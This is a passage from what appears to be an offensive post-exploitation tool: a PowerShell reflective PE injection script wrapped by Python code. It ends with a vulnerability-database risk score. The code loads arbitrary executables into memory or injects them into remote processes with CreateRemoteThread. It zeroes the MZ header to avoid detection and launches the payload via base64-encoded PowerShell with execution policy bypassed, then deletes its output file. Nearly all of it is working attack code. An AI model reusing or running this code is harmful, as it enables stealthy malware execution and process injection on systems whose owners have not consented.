$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
}
else
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
}
if ($PELoadedInfo -eq [IntPtr]::Zero)
{
Throw "Unable to load PE, handle returned is NULL"
}
$PEHandle = $PELoadedInfo[0]
$RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
{
switch ($FuncReturnType)
{
'WString' {
[IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
if ($WStringFuncAddr -eq [IntPtr]::Zero)
{
Throw "Couldn't find function address."
}
$WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
$WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
[IntPtr]$OutputPtr = $WStringFunc.Invoke()
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
Write-Output $Output
}
'String' {
[IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
if ($StringFuncAddr -eq [IntPtr]::Zero)
{
Throw "Couldn't find function address."
}
$StringFuncDelegate = Get-DelegateType @() ([IntPtr])
$StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
[IntPtr]$OutputPtr = $StringFunc.Invoke()
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
Write-Output $Output
}
'Void' {
[IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
if ($VoidFuncAddr -eq [IntPtr]::Zero)
{
Throw "Couldn't find function address."
}
$VoidFuncDelegate = Get-DelegateType @() ([Void])
$VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
$VoidFunc.Invoke() | Out-Null
}
}
}
elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
{
Throw "VoidFunc couldn't be found in the DLL"
}
$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
$Null = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
}
if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
{
Invoke-MemoryFreeLibrary -PEHandle $PEHandle
}
else
{
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
}
}
}
Main
}
Function Main
{
if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
{
$DebugPreference = "Continue"
}
$e_magic = ($PEBytes[0..1] | ForEach-Object {[Char] $_}) -join ''
if ($e_magic -ne 'MZ')
{
throw 'PE is not a valid PE file.'
}
if (-not $DoNotZeroMZ) {
$PEBytes[0] = 0
$PEBytes[1] = 0
}
if ($ExeArgs -ne $null -and $ExeArgs -ne '')
{
$ExeArgs = "ReflectiveExe $ExeArgs"
}
else
{
$ExeArgs = "ReflectiveExe"
}
if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
}
else
{
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
}
}
Main
}"""
# Encode PE bytes to base64 to transfer them easily in the script
pe_base64 = base64.b64encode(pe_bytes).decode("ascii")
# Build the wrapper script
wrapper = []
wrapper.append(ps1_script)
wrapper.append(f"$PEBytes = [System.Convert]::FromBase64String('{pe_base64}')")
invoke_cmd = ["Invoke-ReflectivePEInjection", "-PEBytes", "$PEBytes"]
if self.proc_id > 0:
invoke_cmd.extend(["-ProcId", str(self.proc_id)])
if self.proc_name:
invoke_cmd.extend(["-ProcName", f"'{self.proc_name}'"])
if self.exe_args:
invoke_cmd.extend(["-ExeArgs", f"'{self.exe_args}'"])
if self.func_return_type and self.func_return_type != "Void":
invoke_cmd.extend(["-FuncReturnType", f"'{self.func_return_type}'"])
if self.force_aslr:
invoke_cmd.append("-ForceASLR")
if self.do_not_zero_mz:
invoke_cmd.append("-DoNotZeroMZ")
wrapper.append(" ".join(invoke_cmd))
final_script = "\n".join(wrapper)
auto_output = False
out_file = self._remote_temp_dir() + "\\powershell_pe_exec.out"
# Wrap in output redirection
wrapped_execution = (
"$ProgressPreference='SilentlyContinue';"
"$ErrorActionPreference='Continue';"
f"& {{ {final_script} }} 2>&1 | Out-File -FilePath '{out_file}' -Width 4096 -Encoding UTF8"
)
encoded_cmd = self._encode_powershell(wrapped_execution)
command = f"powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand {encoded_cmd}"
print_status("Executing PowerShell PE Injection payload. This may take some time...")
self._execute_cmd(command)
# Read the output
result = self._execute_cmd(f'type "{out_file}"')
if result:
print_success("Execution completed")
print_info(result)
else:
print_warning("No output was returned or execution failed")
# Cleanup
self._execute_cmd(f'del /f /q "{out_file}"')
return True
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02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9